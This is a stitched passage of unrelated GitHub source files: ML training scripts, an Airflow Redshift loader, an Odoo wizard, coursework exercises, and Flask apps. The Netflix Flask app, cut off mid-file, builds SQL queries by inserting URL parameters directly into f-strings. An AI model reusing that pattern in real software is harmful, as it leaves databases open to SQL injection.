convert to same length to be used as x in tensorflow\n    df_x = keras.preprocessing.sequence.pad_sequences(df_token, maxlen=maxlen, padding=\"pre\", truncating=\"pre\")\n    # use log of upvotes as y value\n    df_uv = np.add(df[\"up_votes\"], 1)\n    df_y = np.log(df_uv)\n\n    # split data into train and test (train_x, train_y, test_x, test_y)\n    ind = np.random.rand(len(df)) < 0.8\n    train_x = df_x[ind]\n    test_x = df_x[~ind]\n    train_y = np.asarray(df_y[ind])\n    test_y = np.asarray(df_y[~ind])\n    # train / update RNN model in current chunk\n    rnnmodel.fit(train_x, train_y, batch_size=100, epochs=5, validation_split=0.05)\n\n# evaluate RNN model\nresult = rnnmodel.evaluate(test_x, test_y)\nprint(\"MSE: \", result)\n\nmean = sum(df_y)/len(df_y)\nvar = sum(np.square(np.add(df_y, - mean)))/len(df_y)\nprint(\"compare:\", var)\n# predict RNN model\n# result = rnnmodel.predict(pred_x)\n\n\n","repo_name":"philofantasy/NLP_problem","sub_path":"NLPproj.py","file_name":"NLPproj.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27677322384","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\nfrom airflow.contrib.hooks.aws_hook import AwsHook\n\nclass StageToRedshiftOperator(BaseOperator):\n    ui_color = '#358140'\n\n    template_fields = (\"s3_key\",)\n    copy_sql = \"\"\"\n        COPY {}\n        FROM '{}'\n        ACCESS_KEY_ID '{}'\n        SECRET_ACCESS_KEY '{}'\n        REGION '{}'\n        {}\n        {}\n        {}\n        {}\n        {}\n    \"\"\"\n\n    @apply_defaults\n    def __init__(self,\n                 redshift_conn_id=\"\",\n                 aws_credentials_id=\"\",\n                 table=\"\",\n                 s3_bucket=\"\",\n                 s3_key=\"\",\n                 region=\"us-west-2\",\n                 data_format=\"\",\n                 data_format_args=None,\n                 data_format_kwargs=None,\n                 file_compression=\"\",\n                 data_conversion_args=None,\n                 data_conversion_kwargs=None,\n                 data_load_args=None,\n                 data_load_kwargs=None,\n                 del_existing=True,\n                 *args, **kwargs):\n\n        super(StageToRedshiftOperator, self).__init__(*args, **kwargs)\n        self.redshift_conn_id = redshift_conn_id\n        self.aws_credentials_id = aws_credentials_id\n        self.table = table\n        self.s3_bucket = s3_bucket\n        self.s3_key = s3_key\n        self.region = region\n        self.data_format = data_format\n        self.data_format_args = data_format_args or []\n        self.data_format_kwargs = data_format_kwargs or {}\n        self.file_compression = file_compression\n        self.data_conversion_args = data_conversion_args or []\n        self.data_conversion_kwargs = data_conversion_kwargs or {}\n        self.data_load_args = data_load_args or []\n        self.data_load_kwargs = data_load_kwargs or {}\n        self.del_existing = del_existing\n\n\n    def execute(self, context):\n        self.log.info(f'StageToRedshiftOperator table: {self.table} {self.s3_bucket}/{self.s3_key}')\n        aws_hook = AwsHook(self.aws_credentials_id)\n        credentials = aws_hook.get_credentials()\n        redshift = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n\n        if self.del_existing:\n            self.log.info(\"Clearing data from destination Redshift table\")\n            redshift.run(\"DELETE FROM {}\".format(self.table))\n\n\n        self.log.info(\"Copying data from S3 to Redshift\")\n        rendered_key = self.s3_key.format(**context)\n        s3_path = \"s3://{}/{}\".format(self.s3_bucket, rendered_key)\n        data_format_options = ''\n        data_conversion = ''\n        data_load_ops = ''\n        if self.data_format_args != None:\n            if type(self.data_format_args) is str:\n                data_format_options += self.data_format_args\n            else:\n                data_format_options += ' '.join(self.data_format_args)\n            data_format_options += ' '\n        if self.data_format_kwargs != None:\n            data_format_options += ' '.join([k + ' ' + str(v) for k,v in self.data_format_kwargs.items()])\n        if self.data_conversion_args != None:\n            if type(self.data_conversion_args) is str:\n                data_conversion += self.data_conversion_args\n            else:\n                data_conversion += ' '.join(self.data_conversion_args)\n            data_conversion += ' '\n        if self.data_conversion_kwargs != None:\n            data_conversion += ' '.join([k + ' ' + str(v) for k,v in self.data_conversion_kwargs.items()])\n        if self.data_load_args != None:\n            if type(self.data_load_args) is str:\n                data_load_ops += self.data_load_args\n            else:\n                data_load_ops += ' '.join(self.data_load_args)\n            data_load_ops += ' '\n        if self.data_load_kwargs != None:\n            data_load_ops += ' '.join([k + ' ' + str(v) for k,v in self.data_load_kwargs.items()])\n\n        formatted_sql = StageToRedshiftOperator.copy_sql.format(\n            self.table,\n            s3_path,\n            credentials.access_key,\n            credentials.secret_key,\n            self.region,\n            self.data_format,\n            data_format_options,\n            self.file_compression,\n            data_conversion,\n            data_load_ops\n        )\n        redshift.run(formatted_sql)\n","repo_name":"dysartcoal/ProjectDataPipeline","sub_path":"plugins/operators/stage_redshift.py","file_name":"stage_redshift.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40751241555","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api\nfrom openerp.tools.translate import _\nfrom openerp.exceptions import except_orm, ValidationError\nimport time, datetime\nimport openerp.addons.decimal_precision as dp\nfrom docutils.nodes import line\n\nclass wiz_intervention_quotation(models.TransientModel):\n    \"\"\" \n        Wiz intervention quotation\n    \"\"\"\n    _name = 'wiz.intervention.quotation'\n    _description = 'Wiz intervention quotation'\n    \n    @api.model\n    def default_get(self, fields_list):\n        res = super(wiz_intervention_quotation, self).default_get(fields_list=fields_list)\n        res['intervention_id'] = self._context.get('active_id')\n        return res\n    \n    \n    @api.one\n    @api.depends('park_id')\n    def _all_operation_compute(self):\n        \"\"\"\n            All resource pour le domaine\n        \"\"\"\n        self.all_operation_ids = [x.maintenance_operation_id.id for x in self.park_id.maintenance_operation_ids]\n    \n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    intervention_id = fields.Many2one('intervention', string='Intervention', required=False, ondelete='cascade')\n    customer_id = fields.Many2one('res.partner', string='Customer', required=False, ondelete='cascade')\n    line_ids = fields.One2many('wiz.intervention.quotation.line', 'intervention_quotation_id',  string='Lines')\n    date = fields.Date(string='Date', default=lambda self: fields.Date.today(), required=False)\n    no_order_line_ids = fields.One2many('wiz.intervention.quotation.noorder', 'intervention_quotation_id',  string='Lines')\n    \n    #===========================================================================\n    # Button\n    #===========================================================================\n    @api.multi\n    def action_validation(self):  \n        sol_obj = self.env['sale.order.line']\n        so_obj = self.env['sale.order']\n        product_obj = self.env['product.product']\n        for wiz in self:\n            if not wiz.line_ids:\n                raise except_orm(_('Error'), _('There are not lines.'))\n            \n            if wiz.intervention_id.sale_id:\n                sale_rcs = wiz.intervention_id.sale_id\n                if sale_rcs.state != 'draft':\n                    raise except_orm(_('Error'), _('The sale has to be in the state draft.'))\n                \n            else:\n                sale_rcs = so_obj.create_sale(customer=wiz.customer_id.id, so_line=None, date=wiz.date, other_data={'requested_date': wiz.date, 'type': 'sav'}, forced_qty=False)\n#                                                                                                                 'sale_account_invoice_trigger': 'manual', \n#                                                                                                                 'sale_account_invoiced_on': 'order'\n                wiz.intervention_id.write({'sale_id': sale_rcs.id})\n                \n            currency_rcs = sale_rcs.currency_id\n#             sale_rcs.write({'sale_account_invoice_trigger': 'manual', 'sale_account_invoiced_on': 'order'})\n            for line in wiz.line_ids:\n                if currency_rcs.id != line.currency_id.id:\n                    price = product_obj._calcul_price_rate_devise(currency_rcs, line.price, line.currency_id)\n                else:\n                    price = line.price\n                \n                values = {'name': line.description,\n                          'uom_id': line.uom_id.id,\n                          'sec_uom_id': line.uom_id.id,\n                          'uoi_id': line.uom_id.id,\n                          'uom_qty': line.qty,\n                          'sec_uom_qty': line.qty,\n                          'uoi_qty': line.qty,\n                          'requested_date': wiz.date,\n                          'intervention_id': wiz.intervention_id.id,\n                        }\n                if (line.pmi_id and not line.pmi_id.sale_line_id or not line.pmi_id) and (line.qi_id and not line.qi_id.sale_line_id or not line.qi_id):\n                    sol_rc = sol_obj.create_sale_order_line(sale=sale_rcs, product=line.product_id, values=values, forced_qty=True, forced_price_unit=price)\n                    if line.pmi_id:\n                        line.pmi_id.write({'sale_line_id': sol_rc.id})\n                    \n                    if line.qi_id:\n                        line.qi_id.write({'sale_line_id': sol_rc.id})\n                        \n                elif line.pmi_id.sale_line_id:\n                    values['price_unit'] = price\n                    line.pmi_id.sale_line_id.write(values)\n                elif line.qi_id.sale_line_id:\n                    values['price_unit'] = price\n                    line.pmi_id.sale_line_id.write(values)\n            \n            wiz.intervention_id.write({'is_create_quotation': True})\n            return {'name': _('Sale order'),\n                    'view_type': 'form',\n                    'view_mode': 'form',\n                    'res_model': 'sale.order',\n                    'type': 'ir.actions.act_window',\n                    'target': 'current',\n                    'res_id': sale_rcs.id,\n                    'nodestroy': True,\n                    }\n            \n        return {'type': 'ir.actions.act_window_close'}\n    \n    \n\nclass wiz_intervention_quotation_line(models.TransientModel):\n    \"\"\" \n        Wiz intervention quotation line\n    \"\"\"\n    _name = 'wiz.intervention.quotation.line'\n    _description = 'Wiz intervention quotation line'\n    _rec_name = 'product_id'\n    \n    \n    @api.one\n    @api.depends('product_id')\n    def _uom_category_compute(self):\n        \"\"\"\n            Category UoM\n        \"\"\"\n        uom_category_id = False\n        if self.product_id:\n            uom_category_id = self.uom_id.category_id.id\n            \n        self.uom_category_id = uom_category_id\n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    intervention_quotation_id = fields.Many2one('wiz.intervention.quotation', string='Intervention quotation', required=False, ondelete='cascade')\n    description = fields.Text(string='Description')\n    product_id = fields.Many2one('product.product', string='Product', required=False, ondelete='cascade')\n    qty = fields.Float(string='Qty', default=0.0, required=True, digits=dp.get_precision('Product quantity'))\n    price = fields.Float(string='Invoice price', default=0.0, required=True, digits=dp.get_precision('Product price'))\n    uom_id = fields.Many2one('product.uom', string='UoM', required=True, ondelete='cascade')\n    currency_id = fields.Many2one('res.currency', string='Currency', required=True, ondelete='cascade', default=lambda self: self.env.user.company_id.currency_id)\n    uom_category_id = fields.Many2one('product.uom.category', compute='_uom_category_compute', string=\"UOM category\", readonly=True)\n    pmi_id = fields.Many2one('piece.maintenance.intervention', string='PMI', required=False, ondelete='cascade')\n    qi_id = fields.Many2one('quotation.intervention', string='QI', required=False, ondelete='cascade')\n\n    \n    #===========================================================================\n    # Onchange\n    #===========================================================================\n    @api.onchange('product_id')\n    def _onchange_product_id(self):\n        \"\"\"\n            Onchange du produit\n        \"\"\"\n        uom_id = False\n        category_id = False\n        if self.product_id:\n            uom_id = self.product_id.uom_id.id\n            category_id = self.product_id.uom_id.category_id.id\n            \n        self.uom_id = uom_id\n        self.uom_category_id = category_id\n        \n        \n        \nclass wiz_intervention_quotation_noorder(models.TransientModel):\n    \"\"\" \n        Wiz intervention quotation noorder\n    \"\"\"\n    _name = 'wiz.intervention.quotation.noorder'\n    _description = 'Wiz intervention quotation noorder'\n    _rec_name = 'product_id'\n    \n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    intervention_quotation_id = fields.Many2one('wiz.intervention.quotation', string='Intervention quotation', required=False, ondelete='cascade')\n    description = fields.Text(string='Description')\n    product_id = fields.Many2one('product.product', string='Product', required=False, ondelete='cascade')\n    ","repo_name":"kazacube-mziouadi/ceci","sub_path":"OpenPROD/openprod-addons/base_gmao_sav/wizard/wiz_intervention_quotation.py","file_name":"wiz_intervention_quotation.py","file_ext":"py","file_size_in_byte":8655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37441672621","text":"# _*_coding: utf-8 _*_\n\n#import <string>\n\ndef removerZeros(numero1, numero2):\n    soma = numero1 + numero2\n    stringSoma = str(soma)\n\n    novoNumero = []\n\n    for x in stringSoma:\n        if(int(x)!=0):\n            novoNumero.append(x)\n    \n    novoNumero = \"\".join(novoNumero)\n    novoNumero = int(novoNumero)\n    return novoNumero\n\n\n#ENTRADAS do usuário\n\nn1 = int(input(\"Digite o primeiro número: \"))\nn2 = int(input(\"Digite o segundo número: \"))\n\nsemZero = removerZeros(n1, n2)\n\nprint(\"Resultado: \", semZero)","repo_name":"Steph7/codigos","sub_path":"PDC/Avaliação 5/problema1.py","file_name":"problema1.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32965870533","text":"from .Layer import Layer\r\n\r\n\r\nclass Conv2dLayer(Layer):\r\n    def __init__(self, layer_keras, layer_name):\r\n        super().__init__(layer_keras, layer_name)\r\n        self.evaluate_layer()\r\n\r\n    def evaluate_layer(self):\r\n        layer = self.layer_keras\r\n\r\n        filter_rows = layer.weights[0].shape[0]\r\n        filter_columns = layer.weights[0].shape[1]\r\n        filter_channels = layer.weights[0].shape[2]\r\n\r\n        n_filters = layer.weights[0].shape[3]\r\n\r\n        input_rows = layer.input_shape[1]\r\n        input_columns = layer.input_shape[2]\r\n        input_channels = layer.input_shape[3]\r\n\r\n        stride = layer.strides\r\n\r\n        n_macc = n_filters * (filter_rows * filter_columns + 1) * filter_channels * \\\r\n                 (((input_rows - filter_rows) / stride[0]) + 1) * \\\r\n                 (((input_columns - filter_columns) / stride[1]) + 1)\r\n\r\n        n_flops = ((input_rows - filter_rows) / stride[0] + 1) * \\\r\n                  ((input_columns - filter_columns) / stride[1] + 1) * \\\r\n                  (input_channels * (2 * filter_rows * filter_channels + 1) * n_filters)\r\n\r\n        self.operations = {\r\n            'flops': n_flops,\r\n            'maccs': n_macc,\r\n            'divisions': 0,\r\n            'sums': 0,\r\n            'comparisons': 0\r\n        }\r\n","repo_name":"pavmassimo/TyBox","sub_path":"TyBox/Layers/Conv2d.py","file_name":"Conv2d.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"}
{"seq_id":"24381356847","text":"def setup():\r\n    size(600,600)\r\n    frameRate(50)\r\n    stroke(150,0,150)\r\n    strokeWeight(2)\r\n    global x, y, kolor\r\n    x = 300\r\n    y = 25\r\n    kolor = 0\r\n\r\ndef draw():\r\n    global x, y, kolor\r\n    ellipse(x, y, 40, 40)\r\n    kolor = kolor + 1\r\n    stroke(150 + kolor,0 + kolor,150 - kolor)\r\n    x = x + 1\r\n    y = y + 1\r\n    if y > 300:\r\n        x = x - 2\r\n        kolor = kolor - 2\r\n    if x < 300:\r\n        y = y - 2\r\ndef mousePressed():\r\n    exit()\r\n    \r\n# 1,25pkt, brakje kolekcji, co bardzo zmniejsza możliwości w zakresie zmiany kolorów, ale już jest ok, możesz przejść dalej\r\n","repo_name":"SMikolaj99/Miko-aj-Solarz","sub_path":"zadanie2/zadanie2.pyde","file_name":"zadanie2.pyde","file_ext":"pyde","file_size_in_byte":596,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"59770196","text":"'''8. Матрица 5x4 заполняется вводом с клавиатуры, кроме последних элементов строк.\nПрограмма должна вычислять сумму введенных элементов каждой строки и записывать ее\nв последнюю ячейку строки. В конце следует вывести полученную матрицу.\n'''\n\n\na = [[0 for j in range(4)] for i in range(5)]\n\n# организуем ввод\nfor i in range(4):\n    for j in range(4):\n        a[i][j] = float(input(\"Введите очередное число: \"))\n    print()\n\n# вычисляем элементы пятой строки\nfor j in range(4):\n    t = 0\n    for i in range(4):\n        t += a[i][j]\n    a[4][j] = t\n\n# распечатываем получившуюся 'матрицу'\nfor i in range(5):\n    for j in range(4):\n        print(a[i][j], end=\"\\t\")\n    print()\n","repo_name":"gbrs/PythonAlgorithmsAndDataStructuresGeekbrains","sub_path":"les_3_task_8.py","file_name":"les_3_task_8.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70080673422","text":"import sys\r\r\ninput = sys.stdin.readline\r\r\nfor _ in range(int(input())):\r\r\n    n,a,b = map(int,input().split())\r\r\n    g = [[] for i in range(n+1)]\r\r\n    for i in range(n-1):\r\r\n        u,v,w = map(int,input().split())\r\r\n        g[u].append((v,w))\r\r\n        g[v].append((u,w))\r\r\n    fa = [0]\r\r\n    fb = []\r\r\n    def dfs(u, p, x, vals, dis):\r\r\n        for v,w in g[u]:\r\r\n            if v == p: continue\r\r\n            if v == dis: continue\r\r\n            dfs(v, u, w^x, vals, dis)\r\r\n            vals.append(w^x)\r\r\n    dfs(a, a, 0, fa, b)\r\r\n    dfs(b, b, 0, fb, -1)\r\r\n    s = set(fb)\r\r\n    ans = \"NO\"\r\r\n    for i in fa:\r\r\n        if i in s:\r\r\n            ans = \"YES\"\r\r\n            break\r\r\n    print(ans)\r\r\n            \r\r\n","repo_name":"bobxiong88/Competitive-Programming-Solutions","sub_path":"Codeforces/1760G.py","file_name":"1760G.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12647716727","text":"import keras\nfrom keras.layers.convolutional import Convolution2D\nfrom keras.layers.pooling import MaxPooling2D\nfrom keras.layers.convolutional import Deconvolution2D\nfrom keras.layers.normalization import BatchNormalization\n\nfrom keras.layers.convolutional import UpSampling2D\nfrom keras.layers import Input, Concatenate, Conv2D\nfrom keras.models import Model, model_from_json\nfrom keras.optimizers import *\nimport numpy as np\n\n\nclass DispNet:\n    def __init__(self):\n        super().__init__()\n        self.model = None\n\n    # Initialize the model\n    def init_model(self):\n        Input_2 = Input(shape=(128, 256, 2), name='Input_2')  # 6,768,384\n\n        Convolution2D_1 = Conv2D(name='Convolution2D_1', nb_col=7, nb_filter=64, border_mode='same',\n                                 activation='relu', nb_row=7)(Input_2)\n\n        MaxPooling2D_1 = MaxPooling2D(name='MaxPooling2D_1')(Convolution2D_1)\n        Convolution2D_3 = Convolution2D(name='Convolution2D_3', nb_col=5, nb_filter=128, border_mode='same',\n                                        activation='relu', nb_row=5)(MaxPooling2D_1)\n        MaxPooling2D_3 = MaxPooling2D(name='MaxPooling2D_3')(Convolution2D_3)\n        Convolution2D_17 = Convolution2D(name='Convolution2D_17', nb_col=5, nb_filter=256, border_mode='same',\n                                         activation='relu', nb_row=5)(MaxPooling2D_3)\n        MaxPooling2D_8 = MaxPooling2D(name='MaxPooling2D_8')(Convolution2D_17)\n        Convolution2D_4 = Convolution2D(name='Convolution2D_4', nb_col=3, nb_filter=256, border_mode='same',\n                                        activation='relu', nb_row=3)(MaxPooling2D_8)\n        Convolution2D_9 = Convolution2D(name='Convolution2D_9', nb_col=3, nb_filter=512, border_mode='same',\n                                        activation='relu', nb_row=3)(Convolution2D_4)\n        MaxPooling2D_5 = MaxPooling2D(name='MaxPooling2D_5')(Convolution2D_9)\n        Convolution2D_10 = Convolution2D(name='Convolution2D_10', nb_col=3, nb_filter=512, border_mode='same',\n                                         activation='relu', nb_row=3)(MaxPooling2D_5)\n        Convolution2D_11 = Convolution2D(name='Convolution2D_11', nb_col=3, nb_filter=512, border_mode='same',\n                                         activation='relu', nb_row=3)(Convolution2D_10)\n        MaxPooling2D_6 = MaxPooling2D(name='MaxPooling2D_6')(Convolution2D_11)\n        Convolution2D_12 = Convolution2D(name='Convolution2D_12', nb_col=3, nb_filter=512, border_mode='same',\n                                         activation='relu', nb_row=3)(MaxPooling2D_6)\n        Convolution2D_13 = Convolution2D(name='Convolution2D_13', nb_col=3, nb_filter=1024, border_mode='same',\n                                         activation='relu', nb_row=3)(Convolution2D_12)\n        MaxPooling2D_7 = MaxPooling2D(name='MaxPooling2D_7')(Convolution2D_13)\n        Convolution2D_14 = Convolution2D(name='Convolution2D_14', nb_col=3, nb_filter=1024, border_mode='same',\n                                         activation='relu', nb_row=3)(MaxPooling2D_7)\n        Convolution2D_18 = Convolution2D(name='Convolution2D_18', nb_col=3, nb_filter=1, border_mode='same',\n                                         activation='relu', nb_row=3)(Convolution2D_14)\n        UpSampling2D_1 = UpSampling2D(name='UpSampling2D_1')(Convolution2D_18)\n        Deconvolution2D_4 = Deconvolution2D(name='Deconvolution2D_4', nb_col=4, border_mode='same', strides=(2, 2),\n                                            nb_filter=512, activation='relu', nb_row=4)(\n            Convolution2D_14)  # output_shape=(None, 512, 24, 12),\n        BatchNormalization_1 = BatchNormalization(name='BatchNormalization_1')(Deconvolution2D_4)\n        merge_2 = Concatenate(axis=3)([Convolution2D_12, BatchNormalization_1, UpSampling2D_1, ])\n        Convolution2D_19 = Convolution2D(name='Convolution2D_19', nb_col=3, nb_filter=512, border_mode='same',\n                                         activation='relu', nb_row=3)(merge_2)\n\n        Convolution2D_20 = Convolution2D(name='Convolution2D_20', nb_col=3, nb_filter=1, border_mode='same',\n                                         activation='relu', nb_row=3)(Convolution2D_19)\n        UpSampling2D_2 = UpSampling2D(name='UpSampling2D_2')(Convolution2D_20)\n        Deconvolution2D_5 = Deconvolution2D(name='Deconvolution2D_5', nb_col=4, nb_row=4, strides=(2, 2),\n                                            padding='same',\n                                            activation='relu', nb_filter=256)(Convolution2D_19)\n        BatchNormalization_2 = BatchNormalization(name='BatchNormalization_2')(Deconvolution2D_5)\n        merge_3 = Concatenate(axis=3)([Convolution2D_10, BatchNormalization_2, UpSampling2D_2])\n        Convolution2D_21 = Convolution2D(name='Convolution2D_21', nb_col=3, nb_filter=256, border_mode='same',\n                                         activation='relu', nb_row=3)(merge_3)\n        Deconvolution2D_24 = Deconvolution2D(name='Deconvolution2D_24', nb_col=4, border_mode='same',\n                                             strides=(2, 2), nb_filter=128, activation='relu', nb_row=4)(\n            Convolution2D_21)  # output_shape=(None, 128, 96, 48)\n        BatchNormalization_3 = BatchNormalization(name='BatchNormalization_3')(Deconvolution2D_24)\n        Convolution2D_22 = Convolution2D(name='Convolution2D_22', nb_col=3, nb_filter=1, border_mode='same',\n                                         activation='relu', nb_row=3)(Convolution2D_21)\n        UpSampling2D_3 = UpSampling2D(name='UpSampling2D_3')(Convolution2D_22)\n        merge_4 = Concatenate(axis=3)([Convolution2D_4, BatchNormalization_3, UpSampling2D_3, ])\n        Convolution2D_23 = Convolution2D(name='Convolution2D_23', nb_col=3, nb_filter=128, border_mode='same',\n                                         activation='relu', nb_row=3)(merge_4)\n        Convolution2D_24 = Convolution2D(name='Convolution2D_24', nb_col=3, nb_filter=1, border_mode='same',\n                                         activation='relu', nb_row=3)(Convolution2D_23)\n        UpSampling2D_4 = UpSampling2D(name='UpSampling2D_4')(Convolution2D_24)\n        Deconvolution2D_7 = Deconvolution2D(name='Deconvolution2D_7', nb_col=4, border_mode='same',\n                                            strides=(2, 2), nb_filter=64, activation='relu', nb_row=4)(\n            Convolution2D_23)  # output_shape=(None, 64, 192, 96)\n        BatchNormalization_4 = BatchNormalization(name='BatchNormalization_4')(Deconvolution2D_7)\n        merge_5 = Concatenate(axis=3)([MaxPooling2D_3, BatchNormalization_4, UpSampling2D_4])\n        Convolution2D_25 = Convolution2D(name='Convolution2D_25', nb_col=3, nb_filter=64, border_mode='same',\n                                         activation='relu', nb_row=3)(merge_5)\n        Convolution2D_26 = Convolution2D(name='Convolution2D_26', nb_col=3, nb_filter=1, border_mode='same',\n                                         activation='relu', nb_row=3)(Convolution2D_25)\n        UpSampling2D_5 = UpSampling2D(name='UpSampling2D_5')(Convolution2D_26)\n        Deconvolution2D_8 = Deconvolution2D(name='Deconvolution2D_8', nb_col=4, nb_row=4, strides=(2, 2),\n                                            padding='same',\n                                            activation='relu', nb_filter=32)(\n            Convolution2D_25)  # output_shape=(None, 64, 384, 192)\n        BatchNormalization_5 = BatchNormalization(name='BatchNormalization_5')(Deconvolution2D_8)\n        merge_6 = Concatenate(axis=3)([MaxPooling2D_1, BatchNormalization_5, UpSampling2D_5])\n        Convolution2D_27 = Convolution2D(name='Convolution2D_27', nb_col=3, nb_filter=32, border_mode='same',\n                                         activation='relu', nb_row=3)(merge_6)\n        Convolution2D_28 = Convolution2D(name='Convolution2D_28', nb_col=3, nb_filter=1, border_mode='same',\n                                         activation='relu', nb_row=3)(Convolution2D_27)\n\n        model = Model([Input_2], [Convolution2D_28])\n\n        print(model.summary())\n        self.model = model\n        return model\n\n    # Return the model optimizer\n    def get_optimizer(self):\n        return Adam()\n\n    # Return the model Loss function\n    def get_loss_function(self):\n        return 'mean_squared_error'\n\n    # Return the Batch size\n    def get_batch_size(self):\n        return 32\n\n    # Return the default number of epochs\n    def get_num_epoch(self):\n        return 100\n\n    # Load model and weights from disk\n    def load_model_and_weight(self, model_name):\n        # load model\n        json_file = open(model_name + '.json', 'r')\n        model = json_file.read()\n        json_file.close()\n        model = model_from_json(model)\n        # load weights into model\n        model.load_weights(model_name + \".h5\")\n        print(\"Loaded model from disk\")\n        self.model = model\n\n    # Save model and weights into model directory\n    def save_model_and_weight(self, model_name):\n        # serialize model to JSON\n        model_json = self.model.to_json()\n        with open(model_name + '.json', \"w\") as json_file:\n            json_file.write(model_json)\n        # serialize weights to HDF5\n        self.model.save_weights(model_name + '.h5')\n        print(\"Saved model to disk\")\n\n    # Compile the model\n    def compile(self):\n        self.model.compile(optimizer=self.get_optimizer(), loss=self.get_loss_function(), metrics=['accuracy'])\n        return self.model\n\n    # Train the model\n    def train(self, x, y, x_vl, y_vl, n_epoch=20, batch_size=1):\n        self.model.fit([x], y, epochs=n_epoch, batch_size=batch_size, verbose=1,validation_split = 0.2)\n\n    # Check the error rate on its input test data (x_test & y_test) and print the result in consule\n    def get_error_rate(self, x_ts, y_ts):\n        p = self.model.predict(x_ts, batch_size=self.get_batch_size(), verbose=0)\n        mse = np.mean(np.square(y_ts - p))\n        print(\"Error rate is \" + str(mse))\n        return mse\n","repo_name":"arashk7/DispNet_Keras","sub_path":"DispNet.py","file_name":"DispNet.py","file_ext":"py","file_size_in_byte":9961,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"}
{"seq_id":"13956998842","text":"\nimport random\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom reachable import reachable_nodes\n\ndef cascade(G, A, p):\n    \n    nodes = list(G)\n    edges = G.edges\n    \n    GX = nx.DiGraph()\n    GX.add_nodes_from(nodes)\n    \n    liveArcs = []\n    for edge in edges:\n        edgeIsActive = random.random() < p\n        if edgeIsActive == True:\n            liveArcs.append(edge)\n            \n    GX.add_edges_from(liveArcs)\n    \n    \n    num_nodes_reached = 0\n    for n in A:\n        num_nodes_reached = num_nodes_reached + len(reachable_nodes(GX,n))\n        \n\n\n    \n    return num_nodes_reached, GX","repo_name":"TimotheeDurand/NetworkDesignAnalysis","sub_path":"IndependentCascade/cascade.py","file_name":"cascade.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72256296782","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import *\nimport keras\nimport numpy as np\nimport cv2\nimport os\nfrom keras.preprocessing import image\n\nmodel = keras.models.load_model(\"model/model.h5\")\napp = Flask(__name__)\n\nfolder = \"uploads\"\n\ndef predict():\n    try:\n        test_img = image.load_img('uploads/1.jpg',target_size = (150,150))\n        test_img = image.img_to_array(test_img)\n        test_img = np.expand_dims(test_img,axis = 0)    \n        # return 100\n        ans = model.predict(test_img)\n        ans = np.argmax(ans)\n        if ans == 0:\n            return \"Actinic keratoses\"\n\n        elif ans == 1:\n            return \"Basal cell carcinoma\"\n        \n        elif ans == 2:\n            return \"Benign keratosis-like lesions \"\n        \n        elif ans == 3:\n            return \"Melanocytic nevi\"\n        \n        elif ans == 4:\n            return \"Melanoma\"\n        \n        elif ans == 5:\n            return \"Dermatofibroma\"\n        \n        \n        elif ans == 6:\n            return \"Vascular lesions\"    \n\n        return \"normal\"\n    except:\n        return \"Please choose jpg or png file only\"\n@app.route(\"/\",methods = [\"GET\",\"POST\"])\ndef upload_predict():\n    if request.method == \"POST\":\n        image_file = request.files[\"image\"]\n        if image_file:\n            location = os.path.join(\n                folder,\n                \"1.jpg\"\n            )\n            image_file.save(location)\n            ans = predict()\n            return render_template(\"index.html\",prediction=ans)\n    return render_template(\"index.html\",prediction=\"None\")\n\nif __name__ == \"__main__\":\n    app.run(port = 12000,debug = True)","repo_name":"dhanu0510/Skin-Disease-Detection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"72809215822","text":"from flask import Flask, jsonify\nimport sqlite3\n\napp = Flask(__name__)\napp.config['JSON_AS_ASCII'] = False\napp.config['DEBUG'] = True\n\n\ndef db_connect(query):\n    connection = sqlite3.connect('netflix.db')\n    cursor = connection.cursor()\n    cursor.execute(query)\n    result = cursor.fetchall()\n    connection.close()\n    return result\n\n\n@app.route('/movie/<title>')\ndef search_by_title(title):\n    query = f\"\"\"\n        SELECT\n            title\n            , country\n            , release_year\n            , listed_in AS genre\n            , description\n        FROM netflix\n        WHERE title = '{title}'\n        ORDER BY release_year DESC \n        LIMIT 1\n    \"\"\"\n    response = db_connect(query)[0]\n    response_json = {\n        'title': response[0],\n        'country': response[1],\n        'release_year': response[2],\n        'genre': response[3],\n        'description': response[4].strip(),\n    }\n    return jsonify(response_json)\n\n\n@app.route('/movie/<int:start>/to/<int:end>')\ndef search_by_period(start, end):\n    query = f\"\"\"\n        SELECT\n            title\n            , release_year\n        FROM netflix\n        WHERE release_year BETWEEN {start} AND {end}\n        ORDER BY release_year\n        LIMIT 100\n    \"\"\"\n    response = db_connect(query)\n    response_json = []\n    for film in response:\n        response_json.append({\n            'title': film[0],\n            'release_year': film[1],\n        })\n    return jsonify(response_json)\n\n\n@app.route('/rating/<group>')\ndef search_by_rating(group):\n    levels = {\n        'children': ['G'],\n    